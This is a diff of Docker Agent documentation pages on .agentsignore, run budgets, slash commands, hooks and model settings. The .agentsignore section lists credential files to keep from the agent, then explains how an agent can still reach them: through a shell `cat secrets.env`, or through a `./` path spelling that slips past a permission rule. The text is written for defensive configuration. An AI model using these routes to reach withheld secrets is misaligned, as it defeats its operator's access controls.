`!public.key` | re-includes a path an earlier pattern excluded | +| `# comment` | ignored, as are blank lines | + +## Where the file is found + +The nearest `.agentsignore` at or above the working directory is used, so starting a run in a subdirectory still honours the project's file. Patterns are anchored to the directory containing the file, exactly as git anchors to the directory containing `.gitignore`. + +Unlike `.gitignore`, **a git repository is not required** — `.agentsignore` works in any directory. + +## What it affects + +| Behaviour | Effect | +| --- | --- | +| `list_directory`, `directory_tree` | matched entries are omitted | +| `search_files_content` | matched files are skipped | +| `read_file`, `read_multiple_files` | refused | +| `write_file`, `edit_file` | refused, including for files that do not exist yet | +| `create_directory`, `remove_directory` | refused | +| `permissions` | matching deny rules are derived automatically, so `/permissions` shows them | + +Paths are resolved before matching — symlinks, `./` prefixes and `..` segments are all normalised — so an ignored file cannot be reached by spelling it differently. + +The `.agentsignore` file is itself always hidden: it names the very things being kept back, so handing it to the agent would be a map of what to look for. + +> [!NOTE] +> `.agentsignore` is independent of the filesystem toolset's [`ignore_vcs`](../tools/index.md) option. Setting `ignore_vcs: false` turns off `.gitignore` filtering but does **not** un-hide `.agentsignore` entries. + +## Relationship to `.gitignore` + +They are separate, and they do different amounts of work. + +`.gitignore` is respected by default (`ignore_vcs`), but only as a **display filter**: gitignored files are hidden from listings and searches while `read_file` still opens them. That is reasonable for build output, which is noise rather than secret. + +`.agentsignore` is for content the agent should not have at all, so it blocks reads and writes as well. Use `.gitignore` for noise, `.agentsignore` for secrets. + +## Limits + +> [!WARNING] +> `.agentsignore` governs the filesystem toolset. It is **not** a sandbox. +> +> An agent with the [`shell`](../../tools/shell/index.md) toolset can still run `cat secrets.env`, because the shell runs commands the toolset never inspects. The same applies to any toolset that reaches the filesystem on its own, such as [`lsp`](../../tools/lsp/index.md). +> +> Treat `.agentsignore` as a strong default that keeps sensitive files out of the agent's view and context — not as a boundary against an agent actively trying to reach them. When you need a real boundary, combine it with [permissions](../permissions/index.md) that restrict `shell`, or run in [sandbox mode](../sandbox/index.md). + +The derived permission rules are best-effort for the same reason: permission patterns match the argument string as the model wrote it, without resolving it first, so `./secrets.env` can slip past a rule written for `secrets.env`. The filesystem toolset's own check resolves paths first and is the part that actually enforces. + +## Example + +```text +# .agentsignore + +# Secrets +.env +.env.* +secrets.env +*.pem +*.key +!public.key # this one is safe to read + +# Credentials directories +.aws/ +.ssh/ + +# Large build output the agent doesn't need +build/ +dist/ +node_modules/ +``` diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/budget/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/budget/index.md new file mode 100644 index 000000000000..d668ce5c6bb1 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/budget/index.md @@ -0,0 +1,194 @@ +--- +title: "Budget" +description: "Cap what a single run may spend in money, tokens, or working time." +keywords: docker agent, ai agents, configuration, yaml, budget, cost, limits +weight: 75 +canonical: https://docs.docker.com/ai/docker-agent/configuration/budget/ +--- + +_Cap what a single run may spend in money, tokens, or working time._ + +## Overview + +A budget sets ceilings on a run. When a ceiling is crossed the run stops with a message naming the exact limit that tripped, and the TUI tracks consumption live while the run is still going. + +Every limit is optional and an unset limit is unlimited, so you can cap money, tokens, time, or any combination. Declare no budget at all and runs are unbudgeted, which is the default. + +There are two ways to declare one, and they compose: + +| Block | Scope | +| --- | --- | +| `budget` | One run-wide ceiling, charged for every agent. | +| `budgets` | Named budgets an agent opts into by name. | + +### A run-wide budget + +```yaml +agents: + root: + model: openai/gpt-4o-mini + description: An agent on a short leash. + instruction: You are a helpful assistant. + +budget: + max_cost: 0.50 + max_tokens: 100000 + max_time: 10m +``` + +| Field | Type | Description | +| --- | --- | --- | +| `max_cost` | number | Maximum spend, in USD. | +| `max_tokens` | integer | Maximum cumulative input+output tokens. | +| `max_time` | string | Maximum time the agents spend working, in Go duration format (`10m`, `30s`, `1h30m`). | + +### Named budgets + +Define budgets by name under the top-level `budgets` key, then have each agent opt in by listing names in its own `budgets` field. The fields are the same three. + +```yaml +budgets: + shell-work: + max_cost: 0.03 + max_tokens: 8000 + research: + max_time: 1m + +agents: + root: + model: openai/gpt-4o-mini + description: Does shell work. + instruction: You are a helpful assistant. + budgets: [shell-work] + researcher: + model: openai/gpt-4o-mini + description: Answers questions. + instruction: You answer questions concisely. + budgets: [shell-work, research] +``` + +An agent may list several budgets; all of them apply, and the first to be exhausted stops the run. A run-wide `budget` applies on top of any named budget, so the ceiling that binds is whichever runs out first. + +Referencing a budget name that isn't defined is a config error, caught at parse time rather than silently leaving the agent uncapped. + +## A name is one shared pot + +When several agents reference the same budget name they draw from the **same** ceiling — not a copy each. Above, `root` and `researcher` share `shell-work`: together they cannot spend more than `$0.03`. + +This is deliberate, and it is the whole reason budgets are worth having. If each agent received its own allowance, a run could spend `max_cost` × N simply by fanning out to N sub-agents, and the ceiling would mean nothing for exactly the workloads that most need one. + +Give agents **distinct budget names** when you want independent pots. + +The same applies to the run-wide `budget`: every sub-session inside a run (transferred tasks, sub-agents, skills) spends from that one wallet. + +## Scope: a budget spans the session + +Spend accumulates for the life of the **session**, across every message you send — it does not reset each time you hit enter. A `max_cost: 0.50` you could re-spend on every message would not be a ceiling at all. + +Starting a new session starts a fresh budget. It is a per-session ceiling, not a lifetime quota across sessions. + +> [!NOTE] +> `max_time` measures the time the agents actually spend **working** — the sum of their turn durations — not wall-clock since the session opened. Because a budget spans a session, and a session sits idle while you read and type, wall-clock would let a budget expire during a coffee break: leave the TUI open for ten minutes and your next message would instantly trip a `max_time` of `2m` without the agent having done anything. + +## What stops a run + +Crossing any limit — run-wide or named — stops the run and produces: + +- an assistant message in the transcript naming the limit and the amounts, +- a `budget_exceeded` event carrying `budget`, `limit`, `used`, `max` and `config_path`, +- a `notification` hook at `warning` level, +- a stream end reason of `budget_exceeded`, so a stopped run is distinguishable from a completed one in telemetry. + +The message names the exact YAML path to raise, so there is no ambiguity about which of several budgets tripped: + +```text +Execution stopped after reaching the configured budgets.shell-work.max_cost +limit (used $0.0312 of $0.0300). +``` + +Unlike [`max_iterations`](../agents/index.md), a budget stop is **terminal** — there is no prompt offering to continue. A budget is a ceiling you set deliberately, so raising it means editing the config rather than answering a dialog. + +## Tracking spend in the TUI + +The sidebar's Token Usage panel lists every active budget by name, with consumption against each ceiling it declares: + +```text +run $0.12/$0.50 · 12.3K/100.0K · 2m14s/10m +shell-work $0.09/$0.10 · 4.3K/20.0K +``` + +Only the ceilings you configured appear. Each reading is colored by the sidebar's shared gauge bands — the same ones a context gauge uses as it nears compaction — so a budget turns amber well before its ceiling and red just short of it, and a run about to be stopped is visible before it stops. + +For a per-agent view of who spent what, set **Sidebar info mode** to `Detailed` in `/settings` → Appearance: the Agents section then reports each agent's cost alongside its effort and context. The budget line deliberately does not repeat that breakdown — the same numbers twice would crowd the sidebar's narrowest column. The per-agent split is still carried on the `budget_usage` event for programmatic consumers, and `/cost` has a **By Agent** section. + +## Limits and caveats + +### Unpriced models do not count towards `max_cost` + +Only responses the runtime can price count towards `max_cost`. A model with no pricing data — an unknown model ID, or a custom endpoint such as a local or private deployment — contributes nothing, because there is no honest number to add. + +Such a run emits a warning and the TUI marks the reading `(unpriced spend)`, rather than silently reading low because the spend is invisible. To make a custom endpoint count, price it explicitly with a model-level [`cost`](../models/index.md#custom-token-pricing) block: + +```yaml +models: + local: + provider: openai + model: my-model + base_url: http://localhost:8000/v1 + cost: + input: 0.15 + output: 0.60 + +agents: + root: + model: local + description: A locally-served agent with real cost accounting. + instruction: You are a helpful assistant. + +budget: + max_cost: 0.50 +``` + +### Limits are checked at turn boundaries + +A run is checked between turns, so it can overshoot by at most the turn already in flight. `max_time` in particular will not interrupt a model call or tool that has already started; the run stops at the first boundary after the limit is reached. + +This is the same granularity [`max_iterations`](../agents/index.md) has, and it keeps the ceiling out of the streaming hot path. Set limits with a little headroom rather than at the exact number you cannot exceed. + +### `max_tokens` here is not the model's `max_tokens` + +The `max_tokens` in a budget is a **cumulative** count of input+output tokens across the whole run. It is unrelated to the provider- or model-level [`max_tokens`](../models/index.md), which caps the output of a single response. + +It is also not the session's context length: compaction resets that, while the budget keeps counting. + +## Examples + +Cap money only, and let the run take as long as it needs: + +```yaml +agents: + root: + model: openai/gpt-4o + description: A cost-capped agent. + instruction: You are a helpful assistant. + +budget: + max_cost: 5.00 +``` + +Cap working time for an unattended job: + +```yaml +agents: + root: + model: openai/gpt-4o-mini + description: A time-boxed agent. + instruction: You are a helpful assistant. + toolsets: + - type: shell + +budget: + max_time: 15m +``` + +See [`examples/budget.yaml`](https://github.com/docker/docker-agent/blob/main/examples/budget.yaml) for a runnable configuration. diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/commands/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/commands/index.md new file mode 100644 index 000000000000..51eeea3c68c2 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/commands/index.md @@ -0,0 +1,218 @@ +--- +title: "Custom Commands" +description: "Define slash commands that send prompts, open URLs, or switch agents, and reuse them across agents with top-level command groups." +keywords: docker agent, ai agents, configuration, yaml, custom commands, slash commands +linkTitle: "Custom Commands" +weight: 55 +canonical: https://docs.docker.com/ai/docker-agent/configuration/commands/ +--- + +_Define slash commands that send prompts, open URLs, or switch agents._ + +## What Slash Commands Are + +A slash command is a named shortcut a user types in the TUI (`/df`, `/deploy`, `/plan`) or on the CLI (`docker agent run agent.yaml /df`) instead of typing out a full prompt. Every agent can declare its own commands under `commands:`, and top-level `commands:` groups let multiple agents share the same set without duplicating them. + +Unlike regular chat messages — which are queued while the agent is busy — slash commands (both built-in and named) execute immediately, even mid-response. + +Commands come in three shapes: + +| Shape | What it does | +| --- | --- | +| [Prompt command](#prompt-commands) | Sends a prompt to the current agent | +| [URL command](#url-commands) | Opens a link in the user's browser (full TUI only) | +| [Agent-switching command](#agent-switching-commands) | Switches the active agent, optionally with a prompt (full TUI and CLI) | + +> [!IMPORTANT] +> **Behavior differs by frontend** +> +> `url` and `agent` are only fully honored in the **full TUI**, which checks `url` before `agent` (a URL command opens the browser and stops there; an agent-switching command switches before sending any instruction). The **lean TUI** doesn't special-case either field — it only resolves a command's expanded text and sends it as a chat message, so a URL-only command silently sends whatever trailing text followed the slash (often nothing, opening no browser) and an agent-switching command sends its instruction to the *current* agent instead of the target. The **CLI** (`docker agent run agent.yaml /command`) switches agents like the full TUI, but has no browser to open, so `url` has no effect there. + +## Prompt Commands + +The simplest form: a string value that becomes the instruction sent to the current agent. + +```yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: A system administrator assistant. + instruction: You are a system administrator. + commands: + df: "Check how much free space I have on my disk" + logs: "Show me the last 50 lines of system logs" + greet: "Say hello to ${env.USER}" +``` + +For more control, use the object form with an `instruction:` field, plus an optional `description:` shown in completion dialogs and help text: + +```yaml +commands: + deploy: + description: "Deploy the application to staging" + instruction: "Deploy ${env.PROJECT_NAME || 'app'} to ${env.ENV || 'staging'}" +``` + +Commands support JavaScript template literal syntax (`${env.VAR}`) for environment variable interpolation, with optional `||` defaults and ternary expressions — the same syntax as agent `instruction` and `description`. Undefined variables expand to the empty string. See [Variable Expansion in Config Fields](../overview/index.md#variable-expansion-in-config-fields) for the full picture. + +Prompt commands can also reference the text typed after the slash and call tools, using the same `${...}` expansion engine as `${env.VAR}`: + +- `${args[0]}`, `${args[1]}`, … — individual positional arguments (whitespace-tokenized; quoted substrings keep their spaces together). +- `${args}` or `${args.join(" ")}` — the full argument list. +- `${tool_name({key: value, ...})}` — calls an agent tool and inlines its output. JS expressions are evaluated before tool commands, so tool output is never itself re-evaluated as JS. +- `` !tool_name(key=value) `` — legacy bang syntax for the same tool-call inlining; still supported alongside `${tool_name({...})}`. + +If `instruction` uses none of the `${args...}` placeholders, any text typed after the slash is appended to the resolved instruction automatically. + +```yaml +commands: + fix: + description: "Fix a file, with optional extra options" + instruction: "Fix the file ${args[0]} with options ${args[1]}" + run: + description: "Run a command with all the typed arguments" + instruction: 'Run command with args: ${args.join(" ")}' + lint: + description: "Show the current lint output" + instruction: 'Lint: ${shell({cmd: "task lint"})}' +``` + +```bash +# Run commands from the CLI too +$ docker agent run agent.yaml /df +$ docker agent run agent.yaml /greet +$ docker agent run agent.yaml /fix main.go --verbose +$ PROJECT_NAME=myapp ENV=production docker agent run agent.yaml /deploy +``` + +## URL Commands + +A command with a `url` field opens that URL in the user's default browser instead of sending a prompt to the agent. Any URI scheme the OS knows how to dispatch works — standard web URLs and custom schemes such as `docker-desktop://` for deep links. + +```yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: An agent with handy URL shortcuts. + instruction: You are a helpful assistant. + commands: + feedback: + description: "Open the feedback site for this session" + url: https://example.com/feedback?session={{session_id}} + docs: + description: "Open the documentation" + url: https://docs.docker.com/ + desktop: + description: "Open this session in Docker Desktop" + url: docker-desktop://dashboard/session/{{session_id}} +``` + +The `{{session_id}}` token is replaced at invocation time with the current session ID (URL-query-escaped so it can't break the URL or inject extra query parameters), letting a command deep-link to something scoped to the conversation. This token deliberately uses `{{...}}` rather than the `${...}` JS-expansion syntax, since the session ID is only known at dispatch time. + +URLs are validated before being handed to the OS opener: a parseable URL with a non-empty scheme is required, and flag-like inputs (those starting with `-`) are rejected to prevent argument injection. + +> [!NOTE] +> **Full TUI only** +> +> URL commands only open a browser in the full TUI. The CLI and lean TUI don't check the `url` field at all, so `docker agent run agent.yaml /docs` never opens a browser there — but the command is still dispatched: its resolved text (usually empty, for a URL-only command) is sent as a prompt and can trigger a model turn. + +See [`examples/url_commands.yaml`](https://github.com/docker/docker-agent/blob/main/examples/url_commands.yaml) for a complete example. + +## Agent-Switching Commands + +A command with an `agent` field switches the active agent for the rest of the conversation. This is useful for building workflow shortcuts where `/plan`, `/review`, `/deploy` each route the user to the right specialist. + +```yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: Main assistant + instruction: You are a project coordinator. + sub_agents: [planner, reviewer] + commands: + # Switch to planner with a pre-filled prompt + plan: + agent: planner + instruction: "Create a detailed plan for: ${args.join(' ')}" + # Switch to reviewer; any text after /review is forwarded + review: + agent: reviewer + + planner: + model: anthropic/claude-sonnet-4-5 + description: Planning specialist + instruction: You create detailed project plans. + + reviewer: + model: anthropic/claude-sonnet-4-5 + description: Code review specialist + instruction: You review code and suggest improvements. +``` + +When `agent` is set **without** `instruction`, any text typed after the slash command (e.g. `/review fix the auth bug`) is forwarded as a prompt to the target agent. When both are set, the agent is switched first, then the instruction is sent to the new agent. Either way, the target can be **any agent defined in the team**, not just one of the current agent's own `sub_agents` — `sub_agents` above is shown because `planner` and `reviewer` also happen to be delegation targets, not because `agent:` requires it. + +Agent switching stays in the same session — the target agent sees the full conversation history, and the user must explicitly switch back (there's no automatic return). This is different from the two other ways agents hand off work: + +| | Agent-switching command | `handoff` tool | `transfer_task` | +| --- | --- | --- | --- | +| **Trigger** | User runs `/command` | Model calls `handoff()` | Model calls `transfer_task()` | +| **Session** | Stays in the same session | Stays in the same session | Launches an isolated sub-session | +| **History** | Target agent sees full conversation | Target agent sees full conversation | Child runs in isolation; only the result returns | +| **Control** | User must explicitly switch back | Target agent can chain to another agent | Root agent stays in control | + +Use `transfer_task` (via `sub_agents`) when you want delegation with a clean result; use agent-switching commands when you want to *become* a different agent for the rest of the conversation. + +See [`examples/agent_switching_commands.yaml`](https://github.com/docker/docker-agent/blob/main/examples/agent_switching_commands.yaml) for a complete example. + +## Reusable Command Groups + +Repeated command sets across agents can be hoisted into the top-level `commands:` section and pulled in by name with `use_commands:` — the same reuse pattern as `mcps:` for MCP servers and `toolsets:` for shared toolsets. + +```yaml +commands: + ci: + deploy: "Deploy the application" + test: "Run the test suite" + +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: Lead developer + instruction: You are the lead developer. Coordinate the team. + use_commands: [ci] # reuse the "ci" command group + commands: + lint: "Run the linter" # inline command, merged in (wins on conflict) + + docs-writer: + model: anthropic/claude-sonnet-4-5 + description: Documentation writer + instruction: You write and maintain the project documentation. + use_commands: [ci] # same group, reused without duplication +``` + +An agent's own inline `commands:` entries take precedence over merged `use_commands:` entries on name conflicts. See [`examples/shared-commands-skills.yaml`](https://github.com/docker/docker-agent/blob/main/examples/shared-commands-skills.yaml) for a complete example that also covers the equivalent `skills:` / `use_skills:` pattern. + +## Hiding Commands + +Use `--disable-commands` to hide and disable specific slash commands in the TUI — built-in ones (`/cost`, `/eval`, `/model`, …) or your own named ones. Accepts a comma-separated list; the leading slash is optional and matching is case-insensitive. + +```bash +$ docker agent run agent.yaml --disable-commands="/cost,/eval,/model" +``` + +This is useful for shipping a distributed agent with a narrower command surface — for example, hiding `/model` so a published agent always runs its intended model. + +## Built-in Commands + +The TUI ships its own slash commands (`/new`, `/compact`, `/sessions`, `/settings`, …) alongside whatever an agent defines. See [Slash Commands](../../features/tui/index.md#slash-commands) in the TUI reference for the full list. + +## Command Configuration Reference + +| Property | Type | Description | +| --- | --- | --- | +| `description` | string | Shown in completion dialogs and help text. | +| `instruction` | string | The prompt sent to the agent. Supports argument expansion (`${args[0]}`, `${args.join(" ")}`, …), tool calls (`${tool_name({...})}`), and the legacy bang syntax `!tool_name(...)`. | +| `agent` | string | Name of an agent in the team to switch to when this command is invoked — any agent in the team's `agents:` map, not just one of the current agent's `sub_agents`. When set without `instruction`, any text typed after the slash command is forwarded as a prompt to the target agent. | +| `url` | string | URL to open in the user's default browser when this command is invoked, instead of sending a prompt to the agent (full TUI only — see [URL Commands](#url-commands)). The token `{{session_id}}` is replaced at invocation time with the current session ID (URL-query-escaped). | + +`instruction` and `agent` can be combined (the agent is switched first, then the instruction is sent to the new agent). In the full TUI, if `url` is set, it takes precedence over `agent` and `instruction` — the command only opens the browser; the lean TUI and CLI don't check `url` at all, so a URL-only command instead sends its (usually empty) resolved text as a prompt. See [Behavior differs by frontend](#what-slash-commands-are) above. The simple string form is shorthand for `{ instruction: "..." }`. diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/hcl/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/hcl/index.md index a0de8dca6b20..7a465e47a1c0 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/hcl/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/hcl/index.md @@ -1,19 +1,19 @@ --- title: "HCL Configuration" -description: "Write docker-agent configs in HCL instead of YAML, using labeled blocks, heredocs, and the same underlying schema." +description: "Write Docker Agent configs in HCL instead of YAML, using labeled blocks, heredocs, and the same underlying schema." keywords: docker agent, ai agents, configuration, yaml, hcl configuration weight: 20 canonical: https://docs.docker.com/ai/docker-agent/configuration/hcl/ --- -_Write docker-agent configs in HCL instead of YAML. It maps to the same docker-agent schema and validation rules._ +_Write Docker Agent configs in HCL instead of YAML. It maps to the same Docker Agent schema and validation rules._ `docker-agent` supports `.hcl` config files anywhere it supports `.yaml` or `.yml` files. HCL is useful if you prefer labeled blocks, less punctuation, and heredocs for long prompts. > [!TIP] > **Same config model, different syntax** > -> YAML and HCL are just two syntaxes for the same docker-agent configuration model. docker-agent converts HCL to the equivalent YAML structure internally, then runs the normal schema validation and loading pipeline. +> YAML and HCL are just two syntaxes for the same Docker Agent configuration model. Docker Agent converts HCL to the equivalent YAML structure internally, then runs the normal schema validation and loading pipeline. ## Minimal Example @@ -181,7 +181,7 @@ agent "root" { HCL treats `${...}` inside strings and heredocs as template interpolation. If you need the literal text `${...}` in your prompt, escape it as `$${...}`. -This matters for command prompts that intentionally show docker-agent template snippets: +This matters for command prompts that intentionally show Docker Agent template snippets: ```hcl command "fix-lint" { @@ -288,14 +288,14 @@ The same idea applies to other list-shaped sections such as RAG `strategy` block ## Important Differences from Terraform -docker-agent uses HCL as a configuration syntax, not as Terraform: +Docker Agent uses HCL as a configuration syntax, not as Terraform: - There are no modules, `locals`, or `variable` blocks. - The only function available in expressions is [`file()`](#loading-files-with-file); Terraform's function library (including `templatefile()`, which `file()` with a vars object replaces) is not available. - Prefer normal literal values: strings, numbers, booleans, lists, objects, and nested blocks. - After conversion, the result is validated exactly like the equivalent YAML config. -If you already know Terraform, think of docker-agent HCL as a thin block-based syntax over the existing config schema. +If you already know Terraform, think of Docker Agent HCL as a thin block-based syntax over the existing config schema. ## Examples diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/hooks/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/hooks/index.md index cc652e01c81d..f88b03f65edb 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/hooks/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/hooks/index.md @@ -29,7 +29,7 @@ Hooks allow you to execute shell commands or scripts at key points in an agent's ## Hook Types -docker-agent dispatches the following hook events: +Docker Agent dispatches the following hook events: | Event | When it fires | Can block? | | --------------------------- | --------------------------------------------------------------------------------- | ---------- | @@ -158,7 +158,7 @@ Global hooks cannot be suppressed by an individual agent. Use them for user-wide ### Hook drop-in files (`hooks.d`) -External tools that integrate with docker-agent (terminal emulators, IDEs, audit or observability sidecars) shouldn't have to rewrite your `config.yaml` to install a hook. Instead, docker-agent also loads every `*.yaml` / `*.yml` file from the `hooks.d` directory next to your user config (default: `~/.config/cagent/hooks.d/`). Each file is a standalone hooks block with the same schema as the content of `settings.hooks`: +External tools that integrate with Docker Agent (terminal emulators, IDEs, audit or observability sidecars) shouldn't have to rewrite your `config.yaml` to install a hook. Instead, Docker Agent also loads every `*.yaml` / `*.yml` file from the `hooks.d` directory next to your user config (default: `~/.config/cagent/hooks.d/`). Each file is a standalone hooks block with the same schema as the content of `settings.hooks`: ```yaml # ~/.config/cagent/hooks.d/50-mytool.yaml @@ -178,7 +178,7 @@ The config directory can be relocated with the `--config-dir` flag or the `DOCKE ## Built-in Hooks -In addition to shell `command` hooks, docker-agent ships a small library of **built-in hooks** — in-process Go functions that run without spawning a subprocess. They're invoked with `type: builtin`, where `command` is the builtin's registered name and `args` are passed through as the builtin's parameters. +In addition to shell `command` hooks, Docker Agent ships a small library of **built-in hooks** — in-process Go functions that run without spawning a subprocess. They're invoked with `type: builtin`, where `command` is the builtin's registered name and `args` are passed through as the builtin's parameters. ```yaml hooks: @@ -214,7 +214,7 @@ Built-ins are typically zero-config and faster than equivalent shell hooks becau | `add_user_info` | `session_start` | _none_ | Adds the current OS user (username and full name) and the hostname. | | `add_recent_commits` | `session_start` | _none_, or `[""]` | Adds `git log --oneline -n N`. `N` defaults to 10; pass a positive integer to override. | | `max_iterations` | `before_llm_call` | `[""]` (required) | Hard-stops the agent after `N` model calls. Stateless: the runtime supplies the iteration counter on every dispatch. | -| `snapshot` | `session_start`, `turn_start`, `turn_end`, `pre_tool_use`, `post_tool_use`, `session_end` | _none_ | Records filesystem snapshots in a shadow git repo under the docker-agent data directory. No-op outside git repos; respects the source repo's ignore rules and skips newly-added files larger than 2 MiB. | +| `snapshot` | `session_start`, `turn_start`, `turn_end`, `pre_tool_use`, `post_tool_use`, `session_end` | _none_ | Records filesystem snapshots in a shadow git repo under the Docker Agent data directory. No-op outside git repos; respects the source repo's ignore rules and skips newly-added files larger than 2 MiB. | | `redact_secrets` | `pre_tool_use`, `before_llm_call`, `tool_response_transform` | _none_ | Scrubs detected secrets (API keys, tokens, private keys, …) out of tool call arguments, outgoing chat content, and tool output. The same builtin handles all three events and dispatches on the event name. Auto-registered on all three events by `redact_secrets: true` on the agent — see [`examples/redact_secrets_hooks.yaml`](https://github.com/docker/docker-agent/blob/main/examples/redact_secrets_hooks.yaml) for the manual wiring. | | `limit_large_tool_results` | `tool_response_transform`, `session_end` | _none_ | **Always-on safety hook** — automatically injected by the runtime, no configuration required. When a tool result from the `filesystem`, `shell`, `mcp`, or `a2a` categories exceeds 2,000 lines or 50 KiB, the full payload is written to a per-session temp file and replaced in the conversation with a notice plus a bounded tail (last 2,000 lines, up to 50 KiB). The `session_end` leg deletes the temp directory. Internal toolsets (`memory`, `plan`, `tasks`, `think`, …) are not affected. | | `safer_shell` | `pre_tool_use` (with `preempt_yolo: true`) | `[""]` (optional pin) | Classifies shell commands against an embedded taxonomy. Verdict adapts to the session's `SafetyPolicy`. `unsafe`: silent. `safer`: destructive matches Ask with `blast_radius`/`category` metadata; safe and unknown flow through silently. `safe-auto`: safe matches auto-Allow with `blast_radius=safe`; destructive and unknown Ask. `strict` (default): safe, destructive, and unknown all Ask with `blast_radius` metadata (safe/low/medium/high/unknown). Filters by tool name internally (no-op for non-shell calls). Auto-registered by `safer: true` on a shell toolset — see [`examples/shell_safer.yaml`](https://github.com/docker/docker-agent/blob/main/examples/shell_safer.yaml). | @@ -719,7 +719,7 @@ At every transfer the runtime ships a snapshot of the previous agent's model end `worktree_create` fires once, just after `docker agent run --worktree[=name]` creates a fresh [git worktree](../../features/cli/index.md) and **before** the session starts. Each hook runs **inside** the new worktree — its working directory (and `cwd` in the input) is the fresh checkout — so setup commands operate on the new tree rather than your original one. The worktree path and branch are in `worktree_path` and `worktree_branch`, and `worktree_source_dir` carries the repository root it was branched from. -Use it to prepare the checkout before the agent begins: copy untracked files git won't carry over (`.env`, local config), install dependencies, or warm caches. Because the worktree lives under the docker-agent data directory — not next to your checkout — resolve the original files through `worktree_source_dir` rather than a relative path. A hook may **abort the run** by returning `decision: block` / `{"continue": false}` / exit code 2 (for example, when a setup step fails); plain stdout is surfaced as additional context. +Use it to prepare the checkout before the agent begins: copy untracked files git won't carry over (`.env`, local config), install dependencies, or warm caches. Because the worktree lives under the Docker Agent data directory — not next to your checkout — resolve the original files through `worktree_source_dir` rather than a relative path. A hook may **abort the run** by returning `decision: block` / `{"continue": false}` / exit code 2 (for example, when a setup step fails); plain stdout is surfaced as additional context. ```yaml hooks: diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/models/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/models/index.md index b9865886af42..835c80cadb81 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/models/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/models/index.md @@ -47,7 +47,7 @@ models: title_model: string # Optional: model used for session-title generation compaction_model: string # Optional: model used for session-compaction (summary generation) compaction_threshold: float # Optional: context-window fraction that triggers auto-compaction (0–1, default: 0.9) - bypass_models_gateway: boolean # Optional: skip the models gateway for this model + bypass_models_gateway: boolean # Optional: skip the models gateway for this model (implied by a custom base_url) ``` ## Properties Reference @@ -73,16 +73,16 @@ models: | `cost` | object | ✗ | Explicit token pricing in USD per 1M tokens, overriding the built-in catalogue. See [Custom Token Pricing](#custom-token-pricing). | | `provider_opts` | object | ✗ | Provider-specific options (see provider pages) | | `title_model` | string | ✗ | Model used for session-title generation. Can be a named model from the `models:` section or an inline `provider/model` string. When omitted, the agent's primary model generates titles. Cannot be combined with `first_available`. | -| `compaction_model` | string | ✗ | Model used for session compaction (summary generation). Can be a named model or an inline `provider/model` string. When omitted, the primary model compacts. Cannot be combined with `first_available`. See [Delegating Session Compaction](#delegating-session-compaction). | -| `compaction_threshold` | float | ✗ | Fraction of the context window at which proactive auto-compaction triggers for agents running this model. Must be greater than `0` and at most `1`. Takes precedence over the agent-level `compaction_threshold`. Cannot be combined with `first_available`. Default: `0.9`. | -| `bypass_models_gateway` | boolean | ✗ | When `true`, this model connects directly to its provider even when a models gateway (`--models-gateway` / `CAGENT_MODELS_GATEWAY`) is configured. See [Gateway Bypass](#gateway-bypass). | +| `compaction_model` | string | ✗ | Model used for session compaction (summary generation). Can be a named model or an inline `provider/model` string. Takes precedence over the agent-level `compaction_model`. When both are omitted, the primary model compacts. Cannot be combined with `first_available`. See the [Context & Compaction guide](../../guides/compaction/index.md). | +| `compaction_threshold` | float | ✗ | Fraction of the context window at which proactive auto-compaction triggers for agents running this model. Must be greater than `0` and at most `1`. Takes precedence over the agent-level `compaction_threshold`. Cannot be combined with `first_available`. Default: `0.9`. See the [Context & Compaction guide](../../guides/compaction/index.md). | +| `bypass_models_gateway` | boolean | ✗ | When `true`, this model connects directly to its provider even when a models gateway (`--models-gateway` / `CAGENT_MODELS_GATEWAY`) is configured. Implied by a custom `base_url`. See [Gateway Bypass](#gateway-bypass). | ## Attachment Capability Overrides For custom OpenAI-compatible providers, local models (Ollama, DMR), and any -model the built-in catalogue does not describe, docker-agent cannot +model the built-in catalogue does not describe, Docker Agent cannot auto-detect whether the endpoint accepts image or PDF attachments. When the -model is absent from the catalogue, docker-agent logs a diagnostic and falls +model is absent from the catalogue, Docker Agent logs a diagnostic and falls back to text-only, silently dropping attachments. Declare `capabilities` to make the model's attachment support authoritative @@ -119,7 +119,7 @@ See [`examples/capability-overrides.yaml`](https://github.com/docker/docker-agen ## Custom Token Pricing -docker-agent prices each model call from the [models.dev](https://models.dev/) +Docker Agent prices each model call from the [models.dev](https://models.dev/) catalogue. Models the catalogue does not know — custom OpenAI-compatible providers, local models, private deployments — are "unpriced": every call is recorded at $0 despite consuming tokens, with only a log warning. @@ -185,6 +185,11 @@ titles. ## Delegating Session Compaction +> [!TIP] +> **Full guide** +> +> For a task-oriented walkthrough of automatic vs. on-demand compaction, trimming tool results, and reading the context gauge, see [Managing Context & Compaction](../../guides/compaction/index.md). This section covers the `compaction_model` and `compaction_threshold` fields themselves. + The `compaction_model` field lets a heavyweight primary model hand off the expensive compaction (summary generation) call to a smaller, faster model: @@ -200,10 +205,11 @@ models: ``` The value can be a named entry from the `models` stanza or an inline -`provider/model` string. When omitted, the primary model compacts. +`provider/model` string. When omitted, the agent-level `compaction_model` is +used; when neither is set, the primary model compacts. If the compaction model has a **smaller context window** than the primary, -docker-agent triggers compaction against the smaller window so the summary +Docker Agent triggers compaction against the smaller window so the summary call can always ingest the full conversation. Pair the primary with a compaction model whose window is at least as large to keep the proactive trigger aligned with the primary's window. @@ -238,8 +244,9 @@ for complete examples. ## Gateway 